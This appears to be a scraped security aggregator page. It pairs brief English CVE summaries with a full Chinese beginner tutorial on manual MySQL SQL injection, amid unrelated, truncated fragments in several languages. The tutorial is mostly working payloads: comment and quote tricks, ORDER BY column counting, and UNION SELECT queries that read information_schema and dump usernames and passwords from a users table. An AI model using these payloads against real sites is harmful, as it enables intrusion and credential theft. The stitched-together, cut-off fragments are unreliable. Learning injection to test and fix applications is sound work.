Aggregator

A vulnerability, which was classified as problematic, has been found in Apache Libcloud 0.12.3/0.12.4/0.13.0/0.13.1/0.13.2. This issue affects some unknown processing. The manipulation of the argument scrub_data leads to information disclosure. The identification of this vulnerability is CVE-2013-6480. It is possible to launch the attack on the local host. Furthermore, there is an exploit available.

A vulnerability was found in Apache Tomcat up to 6.0.9. It has been classified as problematic. This affects an unknown part. The manipulation leads to information disclosure. This vulnerability is uniquely identified as CVE-2011-2204. The attack needs to be approached locally. There is no exploit available. It is recommended to upgrade the affected component.

A vulnerability was found in Quagga up to 0.98.4. It has been classified as problematic. This affects an unknown part. The manipulation leads to memory corruption. This vulnerability is uniquely identified as CVE-2011-3323. It is possible to initiate the attack remotely. There is no exploit available. It is recommended to upgrade the affected component.

A vulnerability was found in Quagga up to 0.98.4. It has been declared as problematic. This vulnerability affects the function ospf6_lsa_is_changed of the file ospf6_lsa.c. The manipulation leads to improper resource management. This vulnerability was named CVE-2011-3324. The attack can be initiated remotely. There is no exploit available. It is recommended to upgrade the affected component.

A vulnerability was found in Quagga up to 0.98.4. It has been rated as problematic. This issue affects some unknown processing of the file ospf_packet.c. The manipulation leads to improper resource management. The identification of this vulnerability is CVE-2011-3325. The attack may be initiated remotely. There is no exploit available. It is recommended to upgrade the affected component.

A vulnerability classified as problematic has been found in Fedorahosted cronie 1.4.3. This affects the function edit_cmd of the file crontab.c. The manipulation leads to link following. This vulnerability is uniquely identified as CVE-2010-0424. The attack needs to be approached locally. There is no exploit available. It is recommended to upgrade the affected component.

A vulnerability has been found in Red Hat Enterprise Linux up to 4 and classified as critical. This vulnerability affects unknown code of the component IPsec. The manipulation leads to configuration. This vulnerability was named CVE-2008-1198. The attack can be initiated remotely. There is no exploit available.

A vulnerability, which was classified as critical, was found in ntpd up to 4.2.8p8. Affected is an unknown function of the component Initial Sync Calculation. The manipulation leads to incorrect calculation. This vulnerability is traded as CVE-2016-7433. It is possible to launch the attack remotely. There is no exploit available. It is recommended to upgrade the affected component.

A vulnerability classified as problematic was found in ntpd up to 4.2.8p8. This vulnerability affects unknown code of the component Source Handler. The manipulation leads to source code. This vulnerability was named CVE-2016-7429. The attack can be initiated remotely. There is no exploit available. It is recommended to upgrade the affected component.

Ransomware attacks have evolved into one of the most significant threats to global cybersecur

Новая миссия Soul Science Ministries.

阅读： 7一、漏洞概述近日，绿盟科技CERT监测到Apache发布安全公告，修复了Apache Tomcat条件竞争代码执行漏洞（CVE-2024-50379/C

A vulnerability, which was classified as problematic, has been found in Baby Gekko up to 1.1.3. This issue affects some unknown processing. The manipulation of the argument verification_code leads to cross site scripting. The identification of this vulnerability is CVE-2012-3837. The attack may be initiated remotely. Furthermore, there is an exploit available.

A vulnerability classified as critical was found in Wasen Mod Simplefileupload up to 1.2. This vulnerability affects unknown code of the file php.jpg of the component mod_simplefileuploadv1.3). The manipulation leads to incomplete blacklist. This vulnerability was named CVE-2011-5148. The attack can be initiated remotely. Furthermore, there is an exploit available. It is recommended to upgrade the affected component.

MySQL手工注入的基本步骤以及一些技巧的记录，当出现学习手工注入的时候，网上的文章参差不齐，导致很长一段时间对手工注入的理解一直处于一知半解的状态，特此记录本文，让小白们少走些弯路。本

MySQL手工注入的基本步骤以及一些技巧的记录，当出现学习手工注入的时候，网上的文章参差不齐，导致很长一段时间对手工注入的理解一直处于一知半解的状态，特此记录本文，让小白们少走些弯路。本文只针对手工注入小白，大牛绕过轻喷。

步骤 注释或者闭合语句

首先看下一个基本的SQL语句查询源码：

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

下面的步骤默认都是采用这种基本的SQL语句的，其他的注入方法换汤不换药，这里只是想整理下注入的步骤与关键性的语句。

引号闭合语句

id =1 ' and '1' ='1

带入进源码中的SQL语句就是:

SELECT * FROM users WHERE id='1 ' and '1' ='1' LIMIT 0,1

注释后面语句

常用的注释payload

or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
--+ 可以用#替换，url 提交过程中 Url 编码后的#为%23

带入进源码中的SQL语句就是:

SELECT * FROM users WHERE id=''or 1=1--+' LIMIT 0,1

这样可以看出直接把后面的语句都给注释掉了，一般实战用注释比较多。

and 验证

当然这里 and 验证和 or 验证都可以，二者区别不大:页面返回正常

?id=1' and 1=1 --+  ?id=1' or 1=2 --+ 页面返回异常 ?id=1' and 1=2 --+ ?id=1' or 1=1 --+

如果发现一开始页面先是正常然后是异常的话，说明页面啊存在注入。当然这里是最基本的判断方法，到后面盲注的时候是用延时函数来观察页面的返回时间的。

查询字段数目

查询字段数目主要利用MySQL里面的 order by 来判断字段数目，order by一般采用数学中的对半查找来判断具体的字段数目，这样效率会很高，下面假设用 order by 来判断一个未知字段的注入。

?id=1' order by 1 --+ 此时页面正常，继续换更大的数字测试?id=1' order by 10 --+ 此时页面返回错误，更换小的数字测试?id=1' order by 5 --+ 此时页面依然报错，继续缩小数值测试?id=1' order by 3 --+ 此时页面返回正常，更换大的数字测试?id=1' order by 4 --+ 此时页面返回错误，3正常，4错误，说明字段数目就是 3

通过数学的对半查找，确定字段数目。

联合查询

UNION SELECT 联合查询，手工注入经典语句，作用是在后面通过UNION把我们的恶意注入语句接上去，带入数据库进行查询。因为字段数目是:3,那么正规的语句如下:

?id=1' UNION SELECT 1,2,3 --+

这里页面是不会报错的，此时我们带入数据库的语句为:

SELECT 1,2,3 这段语句没有任何意义，所以页面按返回正常。

但是为了信息收集，我们得知道当前这个页面里面的值，调用的具体是数据库中的哪个字段才可以，可以故意构造一个错误的语句，来爆出错误的字段：

id=-1' UNION SELECT 1,2,3 --+ 通过id=-1 一个负数不存在的id值来触发报错id=1' and 1=2 UNION SELECT 1,2,3 --+ 通过and 1=2 语句来触发报错id=1' or 1=1 UNION SELECT 1,2,3 --+ 通过or 1=1 语句来触发报错

可以看出爆出了具体的字段号了，这里爆出了2和3进MySQL数据库看下这个表的字段结构:

数据库表的结构完美验证了本次爆错出先的数字2和3，这里的数字代表字段，恰巧对应的字段值是:username和password。

收集信息

在爆出的字段值里面可以替换为我们的恶意语句，前期主要是收集信息，包括判断当前数据库是否是root用户，MySQL的版本等，一般收集这些信息常用一些MySQL自带的函数去收集信息:MySQL常用的系统函数

version()            #MySQL版本 user()               #数据库用户名 database()           #数据库名 @@datadir            #数据库路径 @@version_compile_os #操作系统版本

查询当前数据库名

id=1' and 1=2 UNION SELECT 1,database(),3 --+

查询MySQL版本 id=1' and 1=2 UNION SELECT 1,2,version() --+

查询数据库用户和路径 id=1' and 1=2 UNION SELECT 1,user(),@@datadir --+

查询数据库

查询数据库，一般来说我们注入的时候要查的就是当前的数据库，但有时候root权限就NB了还可以看到网站数据库之外的数据库内容。查询当前数据库

id=1' and 1=2 UNION SELECT 1,2,database() --+

这里用到了group_concat函数，由于本篇文章的定位是 手工注入的步骤 这里不在这里进行细化的讲解此类函数的用法。了解相关函数的话参考我的另一篇文章:MySQL 手工注入之常见字符串函数

查询表名 database 查询数据库 id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

单引号-数据库

这里的database()函数进行了数据库查询，因为我们已经查到了当前的数据库为security，所有这里还可以酱紫写，用单引号括把数据库的名称括起来'security':

id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ hex编码数据库

如果嫌单引号括起来麻烦的话，那么巧了！这里还有一个更麻烦的方法，就是将数据库名进行hex编码处理。使用火狐自带的HackBar插件可以快速的进行hex编码:

hex编码后在前面加上0x表明这里是16进制编码。

目前主流的集中方法大致就是这样，还有一些先hex然后unhex group_concat的写法，据说可以绕waf类的，这里不是很常用就不再赘述了。 同理这些方法放到查询数据库的列名中也是可以使用的，要学会活学活用。

查询列名

目前收集到的信息为:

数据库名称: securuty数据库表名: emails,referers,uagents,users

做为一名黑客一定要有敏锐的嗅觉(手动dog)，这几个表中 一般我们都会去 继续猜解users表。下面用和查询数据库类似的方法去查询列名，关于原理的话 就是 MySQL下有一个information_schema里面会存所有数据库的一些相关信息:

                                        

既然都说到这里了，这里就顺便列举一下MySQL手工注入中，比较关键的information_schema里的信息:

记录关于数据库的信息

information_schema 数据库下的 schemata表中的schema_name记录的是各个数据库的名称:

不仅这里记录了在 tables数据库下的table_schema表也记录了各个数据库的名称:

记录关于数据表的信息

information_schema 数据库下的 tables表中的table_name记录的是各个数据表的名称:

这里是华丽的分割线，吃惊，一眨眼说不拓展的有忍不住扯了这么多，下面不多说直接来查询users表下的列名

id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查询字段值

由于在查询列名那里啰嗦的有点多，核心原理已经写在上面了,这里就简单的写出payload,:

id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+

知道了数据库、表名、各个字段名可以直接进行查询了，不需借助information_schanem数据库了。

简短的整理

本来是打算前面步骤中规中矩的写的，但还是忍不住写多了。于是又开出一个标题进行简短的整理:

order by --+ 判断字段数目

union select --+ 联合查询收集信息

id=1' and 1=2 UNION SELECT 1,2,database() --+ 查询当前数据库

id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+查询所有数据库

id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 查询表名

id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 查询列名

id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+ 查询字段值

我是一个长期居家工作的自由职业者，日常缺乏锻炼，希望工作的同时也运动起来，所以制定一份循序渐进的锻炼计划，希望能不要占用过多的工作时间，同时也能增强体能，为以后自由出行打下一定的身体基础。运动的困难之

实战为主，近日2024年羊城杯出了一道Rust编写的题目，这里将会以此题目为例，演示Rust逆向该如何去做。题目名称：sedRust_happyVm题目内容：unhappy rust